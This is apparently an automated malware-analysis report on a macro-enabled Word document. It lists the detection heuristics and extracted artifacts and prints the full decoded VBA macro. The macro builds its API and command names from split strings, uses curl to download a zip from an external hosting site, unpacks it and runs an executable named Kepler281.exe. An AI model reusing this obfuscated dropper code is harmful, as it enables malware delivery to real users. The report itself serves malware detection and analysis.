MALICIOUS
142
Risk Score
Heuristics 5
-
VBA project inside OOXML medium 2 related findings OOXML_VBADocument contains a VBA project — VBA macros present
-
Dangerous API name reassembled from split string literals critical OLE_VBA_SPLIT_KEYWORD_OBFUSCATIONVBA concatenates short string literals that reassemble a dangerous API/ProgID/LOLBin name (e.g. Scripting.FileSystemObject, WScript.Shell, powershell, URLDownloadToFile) which appears in no single literal. Splitting an API name across string concatenation is done only to evade keyword scanning.Matched line in script
Set oShell = CreateObject("W" & "S" & "c" & "r" & "i" & "p" & "t" & "." & "S" & "h" & "e" & "l" & "l") -
CreateObject call high OLE_VBA_CREATEOBJCreateObject callMatched line in script
Set oShell = CreateObject("W" & "S" & "c" & "r" & "i" & "p" & "t" & "." & "S" & "h" & "e" & "l" & "l") -
Macro/content-enable lure medium SE_ENABLE_LUREDocument instructs the user to enable macros or editing — a common technique used by malware droppers to bypass Office macro security settings
-
Embedded URL info EMBEDDED_URLOne or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.URL http://schemas.microsoft.com/office/word/2010/wordprocessingCanvas In document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/drawing/2014/chartexIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/drawing/2015/9/8/chartexIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/drawing/2015/10/21/chartexIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/drawing/2016/5/9/chartexIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/drawing/2016/5/10/chartexIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/drawing/2016/5/11/chartexIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/drawing/2016/5/12/chartexIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/drawing/2016/5/13/chartexIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/drawing/2016/5/14/chartexIn document text (OOXML body / shared strings)
- http://schemas.openxmlformats.org/markup-compatibility/2006In document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/drawing/2016/inkIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/drawing/2017/model3dIn document text (OOXML body / shared strings)
- http://schemas.openxmlformats.org/officeDocument/2006/relationshipsIn document text (OOXML body / shared strings)
- http://schemas.openxmlformats.org/officeDocument/2006/mathIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/word/2010/wordprocessingDrawingIn document text (OOXML body / shared strings)
- http://schemas.openxmlformats.org/drawingml/2006/wordprocessingDrawingIn document text (OOXML body / shared strings)
- http://schemas.openxmlformats.org/wordprocessingml/2006/mainIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/word/2010/wordmlIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/word/2012/wordmlIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/word/2018/wordml/cexIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/word/2016/wordml/cidIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/word/2018/wordmlIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/word/2015/wordml/symexIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/word/2010/wordprocessingGroupIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/word/2010/wordprocessingInkIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/word/2006/wordmlIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/word/2010/wordprocessingShapeIn document text (OOXML body / shared strings)
Extracted artifacts 2
Files carved from inside the sample during analysis.
| Filename | Kind | Source | Size |
|---|---|---|---|
macros.bas |
vba-macro | oletools.olevba.extract_macros (decoded VBA source from OOXML) | 3040 bytes |
SHA-256: 0a76d62b2cded85ce1a7c90cc58dd52307b44f3a45e77eb7865417d25d678962 |
|||
Preview scriptFirst 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Attribute VB_Control = "CommandButton1, 0, 0, MSForms, CommandButton"
Sub MakeImageInvisible()
Set oShell = CreateObject("W" & "S" & "c" & "r" & "i" & "p" & "t" & "." & "S" & "h" & "e" & "l" & "l")
User = oShell.ExpandEnvironmentStrings("%" & "U" & "S" & "E" & "R" & "N" & "A" & "M" & "E" & "%")
Set FSO = CreateObject("S" & "c" & "r" & "i" & "p" & "t" & "i" & "n" & "g" & "." & "F" & "i" & "l" & "e" & "S" & "y" & "s" & "t" & "e" & "m" & "O" & "b" & "j" & "e" & "c" & "t")
ZipFile = "C" & ":" & "\" & "U" & "s" & "e" & "r" & "s" & "\" & User & "\" & "D" & "o" & "c" & "u" & "m" & "e" & "n" & "t" & "s" & "\" & "t" & "e" & "s" & "t" & "." & "z" & "i" & "p"
cm = "c" & "m" & "d" & "." & "e" & "x" & "e" & " " & "/" & "c" & " " & "c" & "u" & "r" & "l" & " " & "h" & "t" & "t" & "p" & "s" & ":" & "/" & "/" & "k" & "i" & "t" & "h" & "u" & "a" & "t" & "p" & "h" & "a" & "n" & "m" & "e" & "m" & "." & "0" & "0" & "0" & "w" & "e" & "b" & "h" & "o" & "s" & "t" & "a" & "p" & "p" & "." & "c" & "o" & "m" & "/" & "c" & "h" & "a" & "r" & "e" & "/" & "t" & "e" & "s" & "t" & "2" & "." & "z" & "i" & "p" & " " & "-" & "-" & "o" & "u" & "t" & "p" & "u" & "t" & " " & "C" & ":" & "\" & "U" & "s" & "e" & "r" & "s" & "\" & User & "\" & "D" & "o" & "c" & "u" & "m" & "e" & "n" & "t" & "s" & "\" & "t" & "e" & "s" & "t" & "." & "z" & "i" & "p"
If (FSO.FileExists(ZipFile) = False) Then
oShell.Run cm, 0, True
End If
actactFile = "C" & ":" & "\" & "U" & "s" & "e" & "r" & "s" & "\" & User & "\" & "D" & "o" & "c" & "u" & "m" & "e" & "n" & "t" & "s"
runfile = "C" & ":" & "\" & "U" & "s" & "e" & "r" & "s" & "\" & User & "\" & "D" & "o" & "c" & "u" & "m" & "e" & "n" & "t" & "s" & "\" & "D" & "e" & "b" & "u" & "g" & "\" & "K" & "e" & "p" & "l" & "e" & "r" & "2" & "8" & "1" & "." & "e" & "x" & "e"
If (FSO.FileExists(runfile) = False) Then
Set objShell = CreateObject("S" & "h" & "e" & "l" & "l" & "." & "A" & "p" & "p" & "l" & "i" & "c" & "a" & "t" & "i" & "o" & "n")
Set FilesInZip = objShell.NameSpace(ZipFile).items
objShell.NameSpace(actactFile).CopyHere (FilesInZip)
End If
abcd = runfile
oShell.Run abcd
End Sub
Private Sub CommandButton1_Click()
MakeImageInvisible
End Sub
' "c" & "m" & "d" & "." & "e" & "x" & "e" & " " & "/" & "c" & " " & "c" & "d" & " " &
Attribute VB_Name = "UserForm1"
Attribute VB_Base = "0{BD315DD0-8A81-4797-966A-4EE0E17B7BA4}{B69EDBD5-21F6-4129-BB41-61C4AB64D70B}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False
Private Sub CommandButton1_Click()
Application.Visible = True
End Sub
Private Sub Label1_Click()
End Sub
|
|||
vbaProject_00.bin |
vba-project | OOXML VBA project: word/vbaProject.bin | 29696 bytes |
SHA-256: 5e07c8697bd9a7bfc486e00c78a4108b1c3601b1a2ae123cf127b2a10f1ea9a0 |
|||
Open this report in the interactive analyzer, or submit your own file for analysis.